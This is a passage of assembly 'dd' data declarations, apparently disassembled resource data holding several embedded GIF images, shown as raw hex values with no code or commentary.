dd 77BD0376h, 0AC99BD13h, 0C5AB7841h, 7846237Ah, 0EC9E45F3h dd 49FC9F49h, 0A14A0CA0h, 9C5F4A1Ch, 7E87D37h, 6ACA4419h dd 54A5373Ch, 0C7446BCAh, 0A6C9746Ch, 6CA645CCh, 0CA7C97CAh dd 9A36D4A7h, 746D498Ch, 3D6BD6C1h, 6FCB0BDAh, 2CA84863h dd 0CB3CB34Bh, 0DE3E33CDh, 7BDFBE33h, 3AE3E939h, 0B0C89C79h dd 0CB1247BBh, 47E3A447h, 0A847F43Dh, 0B48487DBh, 0B75C8487h dd 2046807Bh, 646DC204h, 44543342h, 7AB4ABAEh, 38FE44ECh dd 7B5B3624h, 0C52433CBh, 0C9383C00h, 0D453B95Ch, 0B87C93BCh dd 0CE4CDCABh, 0E376C594h, 45BC5887h, 0A645BB76h, 0E45C3D0Ch dd 4D4CA207h, 0D64D5CD5h, 5CD74D6Ch, 0C6B4D2CDh, 58456C56h dd 0FC6CC96Ch, 4A246B36h, 0D407E4D4h, 0FCDE87ECh, 4DE4DE4Dh dd 0CECAAC5Ch, 0B3D0CE2Ch, 0B8141EC9h, 7E41F420h, 0ACE74C13h dd 0BDB4C23Dh, 1C4674B3h, 0BC98C9ACh, 37FCEB4Eh, 19CA349Ch dd 44964AD4h, 3D33D137h, 724224B4h, 0EB8CC75Ch, 0C34B6838h dd 0B94C4C91h, 63F634D4h, 0CBB3A387h, 0A74BC3A4h, 2CE7BA9Bh dd 0C9CC9D46h, 7E37A37Bh, 6486CAEBh, 4C442847h, 0E6D01CC8h dd 93E04CABh, 0C16B6BCCh, 81BCD494h, 3496C193h, 4E0C58CEh dd 0D04E087Dh, 0A50A509Ch, 0CE0CDF50h, 0E50DCD7h, 0FD0F50EDh dd 4AA51050h, 9F4E3508h, 34A04DECh, 0D0BC5BD1h, 0E145CD0Bh dd 0FCD3CDF4h, 0CD5514CDh, 0ADD114A3h, 1B4FFEBCh, 5C1F41A5h dd 4E6C1EBDh, 5D41C51Bh, 1C9F51FCh, 0D214D7CDh, 0FD4FCC5Fh dd 6C1937C4h, 4B0496B7h, 0C34B446Ah, 83E5C31Ch, 0C394F6C8h dd 0BBCF94F7h, 33A747E4h, 0CD6B7BD2h, 0E245F4AAh, 14975074h dd 4F33E24Fh, 11D32D02h, 43EEB674h, 0C9536EC4h, 0F04573E1h dd 0B511D07Ch, 0D0A50B50h, 0CD15539h, 0D0D4E15h, 49ED3D51h dd 5B87F07Fh, 53FD3F4h, 540D3ED4h, 5F541D0Fh, 53ED41Ch dd 0D4545C54h, 3CCD553Dh, 1373D0CDh, 4A44ABCEh, 5E52ECD2h dd 850F50C4h, 53B51451h, 0E0515D15h, 9CA1D15Ch, 46545E51h dd 60C9CC63h, 0D4D141A4h, 45C4C152h, 65C5A41Bh, 0B54A41ACh dd 546D58CAh, 5655253Dh, 44ADD1BDh, 4A8CB037h, 0F3475421h dd 942D427Ch, 0B46D29D2h, 0F952B52Ah, 6BFABF9Bh, 565D44CDh dd 66D66D66h, 654445CDh, 0D3CC5ED4h, 0ABD3A54Eh, 0E4F1CDB4h dd 0CDA4FF46h, 6AD08D38h, 16D3C57Ah, 555A5145h, 567568CDh dd 74573D73h, 5D75574Dh, 576D7657h, 78577D77h, 2D75D78Dh dd 0D7151351h, 79541543h, 5D7D57CDh, 53F07ED6h, 7ED6757Eh dd 0ED44D7F5h, 582D71D7h, 7E580D83h, 55665845h, 0D68573D8h dd 82543D7Bh, 3D6945EDh, 0C63CA2D8h, 0EC463D53h, 0BD11B7ACh dd 0C4337C3Dh, 0BEC83C82h, 987BCBF4h, 0BEF484B4h, 7987BB48h dd 9B485940h, 4F84BA43h, 80BA4h, 3Bh, 38464947h, 136139h dd 0F5E70017h, 20212200h, 38583A1Fh, 3D163537h, 5C3C1C63h dd 1C613D19h, 3E1F603Eh, 5F402360h, 2162411Fh, 421E6241h dd 5D422865h, 1D3E3F41h, 48226B46h, 6D48236Eh, 1F684928h dd 4646754Bh, 6F4D2546h, 21674B30h, 4F267B4Fh, 764F2774h dd 27745128h, 542A7952h, 7B542B7Bh, 2C835625h, 59267F58h dd 7A5A2E87h, 58865C2Eh, 5A435556h, 855E3071h, 336E5A47h dd 5F32805Fh, 87603184h, 5A8C6130h, 6437595Ah, 5B5D5F88h dd 388F6636h, 61628A66h, 62626260h, 3B906A3Ah, 664E8E6Ah dd 946B3A80h, 3B8F6D40h, 6953966Eh, 91704181h, 47936E48h dd 6A6C8E71h, 97734268h, 46856F58h, 75479473h, 9A764397h dd 4283705Fh, 7849A176h, 71727497h, 4B9C7B49h, 795E9B7Ch dd 9A7A5994h, 48777777h, 7778A980h, 85796D76h, 79A8804Bh dd 7E6A7879h, 91807094h, 5FA48565h, 8282A289h, 97877083h dd 85878583h, 90598585h, 0B59159B4h, 5D8A8887h, 8D73B592h dd 948C84A6h, 8C8D8C8Bh, 908F8E8Dh, 0AC977191h, 95959494h dd 9F669595h, 0A19990C1h, 92C1A16Ch, 9B92A199h, 0C2A36DA4h dd 95AD9C8Ch dd 9D8DA29Bh, 9D9B99A8h, 719B9B9Bh, 0A281C3A5h, 9F9F9FB4h dd 8EA2A2A2h, 0B075BBAAh, 0CDAF7ECCh, 80CEB37Dh, 0ABABCFB4h dd 0C2AF96ABh, 83BBAE9Eh, 0ACACD0B4h, 0C1B19AACh, 9EB2B0AFh dd 0B5ABCAB7h, 0D6BB8EBBh, 0A8D9C185h, 0BC9DC7B9h, 0B6B7B8D1h dd 0A3D9BF92h, 0B8B9CFBCh, 0D4BE9BB7h, 0ACD9C191h, 0C28FC8BBh dd 0DAC38DD9h, 9CBABABAh, 0BBBBD8C1h, 0DAC29CBBh, 0BDDBC39Ah dd 0C1A7BCBCh, 0DBC39ED2h, 9CCFC1AEh, 0C0C2DDC6h, 0DEC99CBEh dd 0C2C1C1C1h, 0C3B8C1C1h, 0DFCA9BCEh, 9BE1CE93h, 0C4C4E1CDh dd 0C5C5C5C4h, 0C6E1CF9Ah, 0C6C9C6C6h, 0E4CDA9C4h, 0AADBCCB1h dd 0CBC6E5CFh, 0E6D1AACEh, 0AAD2CCC4h, 0CCCCE8D3h, 0D3CEC6CCh dd 0AACDCDCDh, 0CFC6E9D5h, 0D3CFC7D4h, 0CCD4D0C6h, 0D1C7CFCFh dd 0D5D2C7D5h, 0D2D0D0D0h, 0D9ABCED0h, 0D6D3C7EAh, 0BBD1D1D1h dd 0D2D2E4D7h, 0EDDDABD2h, 0D2D8D6CAh, 0D5D5D5D4h, 0EEE0ACD5h dd 0A9D6D6D6h, 0D8D7EFE2h, 0DADADAD9h, 0C3D8DADCh, 0DBDBEBE0h dd 0D9DBDCDBh, 0DDDCDCDCh, 0DDDDDCDDh, 0DCDDDFDDh, 0DFDEDEDEh dd 0DFE0DEDFh, 0F0E7CADFh, 0E5E0E2E3h, 0E3E3DFE2h, 0E4E4E4E3h dd 0E8F1E7D9h, 0E6E6E3E5h, 0F5E9D8E6h, 0EAE9E9E9h, 0EBE8EAEAh dd 0F4EDE1EEh, 0EDEBEBEBh, 0ECEFECECh, 0EDEDEDE9h, 0F3EDEFF1h dd 0F1F1EEF0h, 0F2F2F2F1h, 0F3F8F3EDh, 0F4F4F3F3h, 0F4F4F5F4h dd 0E2F5F5F5h, 0F5F7FFFAh, 0F6F6F6F3h, 0F7FAF7F3h, 0F9F9F7F7h dd 0FAFAFAF9h, 0FDFBFBFDh, 0FEFEFDFDh, 0FEFFFFFEh, 8 dup(0FFFFFFFFh) dd 4F921FFh, 0FF000A01h, 2C00h, 130000h, 8000017h, 0C9FF00FEh dd 0D68B85EAh, 5EAF58ACh, 6A9562C1h, 0C487B118h, 0A7FBFD8Eh dd 5E30184Eh, 42A95CB7h, 0B6148A65h, 0EE43207Ah, 53AD07F9h dd 309C4F28h, 0A9448A59h, 7197C85Ah, 0C40B19FEh, 42A25168h dd 7B712080h, 3FCE12F9h, 0D8EA735Dh, 51C743D1h, 0E6F27AB9h dd 0E6D7ACF1h, 6831A95Fh, 0D44194DCh, 783BE90Eh, 339DD2EEh dd 989E8E47h, 68B0937Fh, 5DC832B9h, 0C0EC783Ch, 8D96D375h dd 5E6DB86Dh, 0D251F9FEh, 743AD0C4h, 9B75C6E4h, 0B52FAD46h dd 54A29B6Fh, 484787F9h, 0BADE7125h, 0ACD6BDB5h, 826B33F1h dd 0F298E452h, 69228F2Fh, 4E6732C7h, 0B3996CB6h, 7C6C7C68h dd 0DFE4E240h, 52BB6423h, 0EBF5CEA7h, 72653318h, 0B0E8D080h dd 313FC585h, 0D6E95AC1h, 3156AABDh, 0F08A6F5Fh, 0CD216168h dd 44B91844h, 0CA0E5729h, 463029D6h, 0C108C47Eh, 7FC4CCC1h dd 0DA653E8Dh, 1FD469AEh, 777C4329h, 0E12140C8h, 49EB9108h dd 247A3D44h, 1D1AD2E9h, 20B86A38h, 99C1E1A1h, 34EF13EBh dd 0A887422h, 9C2B1308h, 30601E0h, 7E03B13Ch, 48D04CFFh dd 40383D1Fh, 5C1B0641h, 33014100h, 44E0817Ch, 8111902Fh dd 0B0180402h, 0DC070240h, 0D785C6C0h, 8C5C0A9h, 4080040Ch dd 1845005h, 35D78900h, 25130590h, 12C6A104h, 42285E30h dd 90085617h, 6408FE3h, 405D79h, 3Bh, 0 dd 38464947h, 2F6139h, 0FFE70035h, 52291400h, 11282A29h dd 2D1B5E2Fh, 522D205Dh, 0E5A301Dh, 331E7134h, 64351A57h dd 246B361Bh, 352A6136h, 68391F5Ch, 0D623A21h, 3B1C7D3Eh dd 6B3B2276h, 3A723D1Dh, 3E25393Bh, 5E3D306Eh, 2D633E2Bh dd 4026693Eh, 7842226Ah, 1A72412Ah, 44228045h, 63423573h dd 28694330h, 46278145h, 8948217Ch, 4579492Ah, 492B4447h dd 864B2380h, 2F694934h, 49396F4Ah, 69483B64h, 34834C2Fh dd 4E36784Dh, 864F327Ah, 2B8D512Ch, 4F3D8852h, 7E543276h dd 31845335h, 53519255h, 8E583250h, 3A835837h, 573C8957h dd 7357488Fh, 33845840h, 5C38985Ch, 8D5C3E92h, 5F905F38h dd 5E45595Ah, 5A5C5B85h, 5A97603Ch, 6043605Eh, 83614D92h dd 3FA1643Bh, 62609665h, 7A62575Fh, 46966447h, 674B9165h dd 78655E9Ah, 47A76A3Fh, 6B4CA26Ah, 9E6C4797h, 66666967h dd 6C557769h, 0A1714190h, 519B7048h, 72469C6Fh, 987250A9h dd 4F6B6E6Dh, 744CA971h, 0A37751A0h, 4C9D7755h, 7752AF78h dd 797577A9h, 698B766Eh, 78769678h, 0A47E5875h, 64B07E59h dd 7D659C7Eh, 8F7D72A6h, 7C8B7D79h, 7E837B7Eh, 0B783607Dh dd 79AB8463h, 885B9581h, 808381BAh, 5FAB896Dh, 8876BE8Ch dd 0BA8D68A9h, 85A38A7Bh, 8A8B9889h, 0BE916B88h, 8CB99170h dd 9084918Eh, 0B693789Dh, 82C39767h, 966FB092h, 9D918EC3h dd 7E8F9290h, 9A74B396h, 0C99D6EC8h, 969A9698h, 99919598h dd 0B09C87A1h, 92C69E7Dh, 0A07AB39Bh, 0C29F83CEh, 74C8A07Fh dd 0A47BD0A3h, 0A59F9ACBh, 0A0CDA584h, 0A59A9FA2h, 0BFA793B9h dd 7AD2AB81h, 0A989D3ADh, 0AEA7A3D2h, 93A5A8A6h, 0B17EC9ABh dd 0D8AF8ED7h, 0ABD9B188h, 0AEA4AAADh, 0D4B38CBCh, 0B4D6B296h dd 0B1ACADAEh, 0DEB889B4h, 93C6B3A5h, 0B2B8D9B7h, 0B2B5B3B1h dd 9CDCBC8Eh, 0B8A1DCB8h, 0DEBB97D7h, 0BDB5B8B6h, 0C093B6B7h dd 0E1BE9AE1h, 0A1BDBAB7h, 0BBB9E1BDh, 0DDBFA7B8h, 9BDEC1A1h dd 0BDC2DFC4h, 0BCBFBDBBh, 0AECEC0B6h, 0C0BCDBC2h, 0E3C997C9h dd 0C0E2C5A5h, 0C1C6BFC2h, 0E4C9A0BFh, 0C6E4C6AEh, 0C5C3C8C3h dd 0E7C8B1C1h, 0ABE8CDA4h, 0CF9EE8CBh, 0C5C6CBE9h, 0C3E3CAB6h dd 0C9C7CEC9h, 0E5CDB1C6h, 0CAE0CCBDh, 0D2AEC9CCh, 0D8CFCAE8h dd 0CED3CFCEh, 0D1C5CDD0h, 0CDCFD4DFh, 0D0ECD6B2h, 0DBAECFD2h dd 0D1D2D8EFh, 0D4D1D4D2h, 0D8C8D3D6h, 0DAD7D4ECh, 0CED5D6DBh dd 0D9D5E8DAh, 0D8D9DEE2h, 0DCD7DBD9h, 0DFDADBDEh, 0DCDEE3E2h dd 0D6DDE0DEh, 0E2DFF0E2h, 0E1E4E2DEh, 0E1E2E3E8h, 0E9DCE9E7h dd 0E5E8E6F7h, 0E8E7E8EEh, 0EDE4E7EAh, 0EBECF2F5h, 0E1EBEEECh dd 0F2EFF9F2h, 0F5F2EDEEh, 0E8F0F1F7h, 0F5F2FEF6h, 0FAF8F2F1h dd 0F7F6F7FDh, 0FCFAF6F9h, 0FFFDF8F9h, 0FDFAFCFFh, 0FFFFFCFFh dd 4F921FFh, 0FF000A01h, 2C00h, 2F0000h, 8000035h, 9FF00FEh dd 8D46B354h, 130883C1h, 7058342Ah, 23842A1h, 0E7F38623h dd 8BC59F8Fh, 0C46A3318h, 0C7A3B148h, 0FE22F78Fh, 0DD6FC79Bh dd 52D56BB5h, 0F2C67B56h, 0C697B319h, 160B1262h, 60CD988Ch dd 0FBF1CCC9h, 98E3B3C8h, 1DECF088h, 68AC563Bh, 7B486051h dd 0B55AD29h, 0B25A2D56h, 0D7354AA0h, 2CBFAAB3h, 22F1ED40h dd 3029147Ah, 3E98BDA5h, 0ACAB4A8Dh, 0ACEB60ACh, 302AC556h dd 5E5B2BE8h, 25B2D981h, 5AD3A9B6h, 0AA96564h, 0DAED4EF6h dd 0A5E4ED88h, 16D6F57Ah, 12B05B61h, 4AC56627h, 0A1556395h dd 5BF3D192h, 79600A35h, 7E6952A4h, 6333B8C5h, 871EA653h dd 729924E2h, 0DEEE88E5h, 9D5026Dh, 0A6D7EBB4h, 0BD1EC942h dd 0D3E99F0Dh, 0B3C9D902h, 0EF93A9B4h, 0B382A04Eh, 0F649C4E6h dd 76DB4E25h, 5969EEDEh, 8E75BA60h, 4E9A551Eh, 0EBA5FA7Dh dd 0D2852297h, 0BEE7BCB9h, 0FE9F1123h, 0FD1E8A13h, 0E8F3A451h dd 0F50A2D23h, 0F7BEF94Eh, 0FEDDF7F0h, 0BADCF11Eh, 13F2843Eh dd 5128945Ah, 0C8DFFA3h, 0F1479EC2h, 8151F7C5h, 8FB3E8FAh dd 7409E03Eh, 0E074398Eh, 7F84C7F1h, 85A1620Ch, 1932AC7Fh dd 182A0981h, 0CCF73E9Fh, 2388E223h, 834F73DEh, 8E6390FFh dd 11D0721Ch, 0FE301E21h, 0B62EA301h, 8760B815h, 0CF13CE21h dd 0B8F63C8Eh, 862888A3h, 6F1B0DE3h, 1BC6F1D0h, 6C1D22Ch dd 8450BA1Eh, 81EF878Fh, 0EE3C6228h, 95E56954h, 4F73CE57h dd 0D444423Ch, 1065378Dh, 6C98C6C9h, 33474194h, 61D880FEh dd 0C3B8F387h, 0C6709BCEh, 0F33AA729h, 3B8DF3A8h, 8DE36228h dd 0D9F46517h, 4C7415E7h, 26884FD3h, 886203DEh, 68A9CA6Eh dd 0E1CE759Ch, 443E3B87h, 5A34CD84h, 17C5E178h, 0C791345Ah dd 43D4F937h, 0B23B88E2h, 0A4A8CE73h, 3A2A5A96h, 867380F0h dd 3C47301h, 0D6FE4444h, 1684E34Ch, 4515C5Fh, 0F3E4E31Fh dd 8A3D8EA9h, 0A3AFEA6Ah, 170D03C6h, 7E03C0Eh, 240A913Bh dd 384EAC8Dh, 0EA230451h, 8F8F03D4h, 0E83BA58h, 93BABFB0h dd 7820140Bh, 0AF3B2C60h, 0AC8CE40Ah, 89A1143Ah, 73B0F33Bh dd 86A2A2E5h, 0EFBBEEE3h, 39CE138Ah, 44B294ECh, 60902D0Bh dd 443339ECh, 3A34CBF4h, 3B8A5104h, 0E8A8CEDh, 8B5CEC3Ah dd 370C38ADh, 0F339F0CCh, 12C9439Eh, 0EF90DC34h, 23848A03h dd 58B929D2h, 0F239CA51h, 0C8F22BC2h, 0E738ED8h, 11071339h dd 601AC584h, 22388930h, 2ECDC249h, 0CD9368E1h, 0ACE738CDh dd 0BB2336B3h, 0DC3A4E4Bh, 12C50208h, 4320EC41h, 50601E0Bh dd 0DD22364Ah, 3ACD8E71h, 0CF751D47h, 0D13A4E1h, 0BD0C541Fh dd 841AD1F2h, 222DCB90h, 364E1145h, 0F66D94D6h, 0DD9B68D9h dd 0C4CA39F3h, 50158501h, 0B72B118h, 3903C29h, 34889934h dd 0D933FE83h, 0DFCD2338h, 0F82E0780h, 6368D9DFh, 88E13738h dd 5B1B4B93h, 0DC85616Ch, 0C23C583Bh, 38C5303h, 68AD4891h dd 9CE6CCE3h, 0E739EE77h, 4E0E1B85h, 0CE309F37h, 0EC46DC05h dd 1FBE4340h, 38875024h, 486446C9h, 6ED4CB36h, 0DBB8EDFBh dd 63CDCD6Eh, 1706424Fh, 0F711545Ch, 30B7AA10h, 7C180442h dd 2488CE2h, 338D2145h, 0BB7F47B9h, 1384D934h, 745D220Dh dd 4613FC11h, 0B034F10h, 40908C29h, 0C248D10Eh, 38B340BCh dd 0ECFACC33h, 0FAFEEFB7h, 8CA384CEh, 0E1705B20h, 0C4A13F8h dd 2E0D03C1h, 2418F84h, 73472062h, 0F5081798h, 880E2F9h dd 8702A04Ch, 0C45D8D91h, 0C05D0B61h, 67B81582h, 6F7DFD84h dd 0C0CBAD04h, 3E719027h, 7D610081h, 1E10C0Ah, 658C3171h dd 580CC27Ch, 9E1542C0h, 0F41EBF80h, 602E06C0h, 47FF0601h dd 0A1DC7084h, 0C4910283h, 0C3C17032h, 8790FA1Eh, 0C5F0B1FEh dd 0C2A1102Fh, 7BAFE209h, 0F821803Ch, 881803Eh, 0D4126040h dd 8E40A1C0h, 0CC5F0B80h, 0CC588AE2h, 817E2CE2h, 40FC3A8Bh dd 8253F809h, 83C07A11h, 8960C624h, 2409818h, 408DC088h dd 86205148h, 0B116A2B0h, 8C5B8B18h, 0A8350CC2h, 0E0941281h dd 0E0DA24C2h, 2263E18Ch, 81001004h, 8DE30C4Fh, 2A019902h dd 468AD166h, 0B891B23Ah, 6014C4C0h, 0F41A8300h, 747F06D1h dd 9830FF41h, 60400801h, 86C86200h, 1039101Ah, 94E2A246h dd 2CC56CA7h, 1083F120h, 3195E0ACh, 5326A588h, 7A34C810h dd 102F0072h, 29482786h, 12A059BBh, 83DC8D15h, 8210360Ah dd 6208662h, 0CE5A3FDh, 4FC9E031h, 8713002Ah, 332265E4h dd 0FA538AD1h, 88130D12h, 0B9B606C0h, 608C0FCDh, 24E81986h dd 0C8301804h dd 1A420002h, 0F366913Fh, 538A813Ch, 0C0C228Ch, 3D336420h dd 4E70CE19h, 0FE089C60h, 10058060h, 50370050h, 8CEA8DC3h dd 714418C8h, 0A020308Ah, 501703h, 50A01002h, 9E327A79h dd 280B4F9h, 6706800Ah, 22A02F98h, 0EC2A0351h, 980A8250h dd 280D03A0h, 0B00B4880h, 400A85D0h, 80E81701h, 6E01402h dd 2427869h, 1ADE6518h, 1C087150h, 2804A054h, 1C0A8h, 8010000h dd 68050060h, 0DA540740h, 54B83D81h, 1F3D3104h, 9014418h dd 3A05426h, 5012825h, 2800008h, 1D05153Ch, 300E0058h dd 268B8D21h, 0C8477CF5h, 70D22784h, 95440A02h, 81401D03h dd 81C02B5Ah, 1902C430h, 14AAFC37h, 4289E10Dh, 27ACA148h dd 38094138h, 402401C0h, 60AD1902h, 38A55C8Bh, 42644906h dd 1384C0Fh, 4805007h, 17C2CC40h, 60EA4086h, 38022911h dd 7A124248h, 5C21C348h, 0A0490B31h, 9CA4B268h, 0B10C1C01h dd 21444948h, 0A8C5A000h, 470C608h, 0B5F6A6D4h, 8010D01h dd 3B00h, 38464947h, 0F16139h, 6DC60028h, 0F3E7C900h, 0C9F3E7CAh dd 0E8CAF3E8h, 0F3E8CBF3h, 0CCF4E8CBh, 0E9CCF4E8h, 0F4E9CDF4h dd 0CDF4E9CEh, 0EACEF4EAh, 0F5EACEF4h, 0CFF4EACFh, 0EAD1F5EAh dd 0F4EBD0F5h, 0D1F5EBD0h, 0EBD1F4EBh, 0F5EBD2F5h, 0D2F5EBD3h dd 0ECD3F5ECh, 0F6ECD3F5h, 0D5F6ECD4h, 0EDD4F6ECh, 0F6EDD4F5h dd 0D5F5EDD5h, 0EDD6F6EDh, 0F6EDD6F5h, 0D6F6EDD7h, 0ECDEF6EEh dd 0F6EED7F3h, 0D8F6EED8h, 0EED9F7EEh, 0F6EFD8F6h, 0DAF6EFD9h dd 0EFDAF6EFh, 0F7EFDBF7h, 0DCF7F0DAh, 0F0DDF7F0h, 0F8F1DDF7h dd 0DEF7F1DEh, 0F1DFF8F1h, 0F8F1E0F8h, 0E0F9F1E0h, 0F2E0F8F2h dd 0F8F2E1F9h, 0E2F7F1E5h, 0F2E2F8F2h, 0F5F1E7F9h, 0E3F8F2E3h dd 0F3E0F9F2h, 0FAF3E1FAh, 0E3FAF3E2h, 0F3E4F9F3h, 0F8F3E5F9h dd 0E5FAF4E1h, 0F4E2F9F3h, 0FAF4E3FAh, 0E5FAF4E4h, 0F4E4F8F4h dd 0F9F4E5FBh, 0E6F9F4E6h, 0F4E7FAF4h, 0FBF5E4FAh, 0E6FBF5E5h dd 0F5E7FBF5h, 0FBF5E7FAh, 0E7FAF5E8h, 0F6E8FBF6h, 0FBF6E8FAh dd 0E9FAF6E9h, 0F6EAFBF6h, 0FAF6EBFBh, 0EAF9F6EEh, 0F7EAFBF7h dd 0FCF7EBFCh, 0EEFCF7ECh, 0F8ECFAF7h, 0FCF8EDFCh, 0EFFCF8EEh dd 0F9F0FCF9h, 0FDF9F0FCh, 0F2FCF9F1h, 0FBF4FDFAh, 0FEFCF7FDh dd 0Eh dup(0FFFFFFFFh), 4F921FFh, 7F000A01h, 2C00h, 0F10000h dd 7000028h, 827F80FEh, 86858483h, 8A898887h, 8E8D8C8Bh dd 9291908Fh, 96959493h, 9A999897h, 9E9D9C9Bh, 6A6B6C91h dd 0A6A56668h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h dd 6867B5B7h, 6B853C62h, 5B606468h, 0C6C5C4C3h, 0CAC9C8C7h dd 0CECDCCCBh, 0D2D1D0CFh, 0D3D5D4D3h, 6663605Fh, 646A8467h dd 0E251545Ah, 0E6E5E4E3h, 0EAE9E8E7h, 0EEEDECEBh, 0F2F1F0EFh dd 52F2F4F3h, 655F5852h, 606882DCh, 88E4954h, 0A0B0481Ch dd 130883C1h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h, 8B922231h dd 2978A44Bh, 999045D3h, 8E512Dh, 0A4B24919h, 532893C9h dd 0B2C95CAAh, 3097CBA5h, 499CCA63h, 20CD66B3h, 4984AC49h dd 48A411E3h, 0A83409Bh, 0A8B44A1Dh, 9126A3D1h, 0A6830148h dd 50A44867h, 4A9D4AA3h, 2F52AAB5h, 0AD3E3EFCh, 0D7ABB5CAh dd 44915FAFh, 0E9C662D9h, 0D368B04Fh, 0F2FB5DAAh, 0FEB2D8C8h dd 659EB47Fh, 0DDAEB74Bh, 9AC96EAEh, 0AFB7CBBDh, 0E179A1DFh dd 0B84BFDCAh, 819561B0h, 0CC5E1EF7h, 0B8E26FD8h, 9E4B1B3Eh dd 60F1F6BCh, 533398CAh, 0B3591CB5h, 2D44CFE7h, 0E452816Bh dd 0A8D3E987h, 0CD5EAB53h, 0D7EBB5BAh, 9ECB63B0h, 0EDB6BB4Dh dd 1773B8DBh, 6E05A281h, 4A2E1D96h, 0BC4E1880h, 0C8E3F1B8h dd 0CE5F2B93h, 0E7F3B9BCh, 9F4BA3D0h, 0F5BABD4Eh, 64762E12h dd 46E57411h, 0C21C110Bh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h dd 0F7FBBDBEh, 9FCBE3F0h, 8B445F4Fh, 5504571Bh, 4402B1A9h dd 600FF86h, 480E028h, 81E06816h, 0E0A82608h, 0E8360C82h dd 461083E0h, 2B082128h, 7E8550D4h, 0C1D0A434h, 0E8761C05h dd 862087E1h, 2488E228h, 89E26896h, 0E2A8A628h, 0E8B62C8Ah dd 0A41D8BE2h, 7F85C340h, 0A03314Ch, 0E3A0581Bh, 0E8F63C8Eh dd 6408FE3h, 4490E429h, 91E46916h, 0A9FE2648h, 364C92E4h dd 330A01B9h, 13C8214Ch, 0C1709032h, 0A9665804h, 765C96E5h dd 6097E5E9h, 98E62986h, 0E6699664h, 0A9A66899h, 90179AE6h dd 8213C320h, 9030138h, 0E7604416h, 0A9E6789Dh, 0F67C9EE7h dd 809FE7E9h, 0A0E82A06h, 0E86A1684h, 6A2688A1h, 38300901h dd 2F134821h, 3413080h, 0E96A5694h, 0AA6698A5h, 769CA6E9h dd 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h, 0F08013A9h, 30821342h dd 110782E1h, 0ACEB202Ch, 0EB6AD6B4h, 0AAE6B8ADh, 0F6BCAEEBh dd 0C0AFEBEAh, 0B0EC2B06h, 811B16C4h, 21302E07h, 642C1188h dd 0D00200E0h, 0B4ED2B46h, 0ED6B56D4h, 0AB66D8B5h, 76DCB6EDh dd 0E0B7EDEBh, 0B8EE2B86h, 82C0640Eh, 0C10C8211h, 1C0C0602h dd 0F0BBEEE0h, 0BCEF2BC6h, 0EF6BD6F4h, 0ABE6F8BDh, 0F6FCBEEFh dd 0BFEFEBh, 600CC07h, 0AE910C2Ch, 4020140Ah, 370CC2C0h dd 10C3F0ECh, 0C4F12C47h, 6C57FE14h, 6718C5F1h, 1CC6F1ACh dd 271EC77h, 0F060A815h, 30A4421Fh, 0A40301C1h, 2CCAF2ACh dd 0CBF2ECB7h, 0F32CC730h, 6CD734CCh, 0E738CDF3h, 3CCEF3ACh dd 0AC16023h, 0C2810B23h, 6D1402C9h, 2748D1F4h, 4CD2F4ADh dd 0D3F4ED37h, 0F52D4750h, 6D5754D4h, 0F57D5F5h, 0CACFC0A0h dd 943E1FEh, 0C000180Fh, 6D9764D8h, 0A768D9F6h, 6CDAF6ADh dd 0DBF6EDB7h, 0F72DC770h, 4DD774DCh, 24040077h, 0E9AAC1A0h dd 17090AEh, 0F82E0780h, 6E1784E0h, 2788E1F8h, 8CE2F8AEh dd 0E3F8EE37h, 792E4790h, 402407E4h, 0E4360981h, 1F0BE8F0h dd 0E7EA7048h, 0FA2E87A0h, 6E97A4E8h, 4810A57Ah, 31094170h dd 17083128h, 0DD670442h, 6ED7B4ECh, 0E7B8EDFBh, 2170FBAEh dd 0B827090h, 48411036h, 21345C1Ah, 27C80E04h, 0CCF2FCAFh dd 0F3FCEF37h, 0FD2F47D0h, 6F57D4F4h, 67D8F5FDh, 3AF63DAFh dd 8C3D108h, 2F849F13h, 97E4F8FEh, 0E8F9FE6Fh, 0FAFEAFA7h dd 8121BECh, 3B00h, 0 dd 38464947h, 0F16139h, 6DC60028h, 0D9B77300h, 73D9B775h dd 0BA75D9BAh, 0D9BA77D9h, 79DCBA77h, 0BD79DCBAh, 0DCBD7BDCh dd 7BDCBD7Dh, 0BF7DDCBFh, 0DFBF7DDCh, 7FDCBF7Fh, 0BF83DFBFh dd 0DCC281DFh, 83DFC281h, 0C283DCC2h, 0DFC285DFh, 85DFC288h dd 0C588DFC5h, 0E2C588DFh, 8CE2C58Ah, 0C88AE2C5h, 0E2C88ADFh dd 8CDFC88Ch, 0C88EE2C8h, 0E2C88EDFh, 0A1E2C890h, 0CB8ED9C5h dd 0E2CB90E2h, 93E2CB93h, 0CB95E5CBh, 0E2CD93E2h, 97E2CD95h dd 0CD97E2CDh, 0E5CD9AE5h, 9CE5D097h, 0D09EE5D0h, 0E8D39EE5h dd 0A1E5D3A1h, 0D3A3E8D3h, 0E8D3A6E8h, 0A6ECD3A6h, 0D3B2E8D6h dd 0ECD6A6E5h, 0B7E8D6A8h, 0D6ABDFD3h, 0ECD6ABE8h, 0ADE8D6ADh dd 0D9A6ECD6h, 0EFD9A8EFh, 0ADEFD9ABh, 0D9B0ECD9h, 0E8D9B2ECh dd 0A8ECD9B2h, 0DCABEFDCh, 0EFDCADEFh, 0B0E8DCB2h, 0DCB2EFDCh dd 0F2DCB0ECh, 0B5ECDCB5h, 0DCB7EFDCh, 0F2DFB0EFh, 0B5F2DFB2h dd 0DFB7F2DFh, 0F2DFB7EFh, 0B7EFDFBAh, 0E2BAF2E2h, 0F2E2BAEFh dd 0BDEFE2BDh, 0E2BFF2E2h, 0EFE2C2F2h, 0BFECE2CBh, 0E5BFF2E5h dd 0F5E5C2F5h, 0CBF5E5C5h, 0E8C5EFE5h, 0F5E8C8F5h, 0CDF5E8CBh dd 0ECD0F5ECh, 0F8ECD0F5h, 0D6F5ECD3h, 0F2DCF8EFh, 0FCF5E5F8h dd 0Eh dup(0FFFFFFFFh), 4F921FFh, 7F000A01h, 2C00h, 0F10000h dd 7000028h, 827F80FEh, 86858483h, 8A898887h, 8E8D8C8Bh dd 9291908Fh, 96959493h, 9A999897h, 9E9D9C9Bh, 6A6B6C91h dd 0A6A56668h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h dd 6867B5B7h, 6B853A62h, 5B606468h, 0C6C5C4C3h, 0CAC9C8C7h dd 0CECDCCCBh, 0D2D1D0CFh, 0D3D5D4D3h, 6663605Fh, 646A8467h dd 0E251545Ah, 